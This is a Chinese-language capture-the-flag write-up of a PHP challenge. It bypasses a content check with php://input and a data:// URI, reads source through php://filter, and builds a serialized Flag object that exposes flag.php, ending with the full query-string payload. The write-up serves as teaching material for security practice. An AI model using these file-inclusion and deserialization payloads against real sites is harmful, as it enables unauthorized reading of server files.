打开题目
代码审计
if(isset($text)&&(file_get_contents($text,'r')==="welcome?to?the?zjctf")){
????echo?"<br><h1>".file_get_contents($text,'r')."</h1></br>";
要求我们get传参的text内容必须为welcome?to?the?zjctf,才能下一步
用php://input协议写入,然后把内容post上
成功写入
当然这里也可以用data伪协议
我们先把内容进行base64编码
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
成功绕过
??? if(preg_match("/flag/",$file)){
??????? echo "Not now!";
??????? exit();
??? }else{
??????? include($file);? //useless.php
??????? $password = unserialize($password);
??????? echo $password;
??? }
我们用get姿势传入的file值,这里用正则限制了file参数里面不能含有 /flag/
如果不含有 /flag/ 的话,这里提示了我们有个useless.php,然后这里对我们get传参的password进行了反序列化并输出,
这里我们用伪协议读取useless.php文件
我们用php://filter协议
&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码得到
得到代码
<?php ?
class Flag{? //flag.php ?
??? public $file; ?
??? public function __tostring(){ ?
??????? if(isset($this->file)){ ?
??????????? echo file_get_contents($this->file);
??????????? echo "<br>";
??????? return ("U R SO CLOSE !///COME ON PLZ");
??????? } ?
??? } ?
} ?
?>?
在这里用tostring函数限制了flie参数必须为字符串,然后输出包含的文件
进行序列化操作后
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}?
payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码得到flag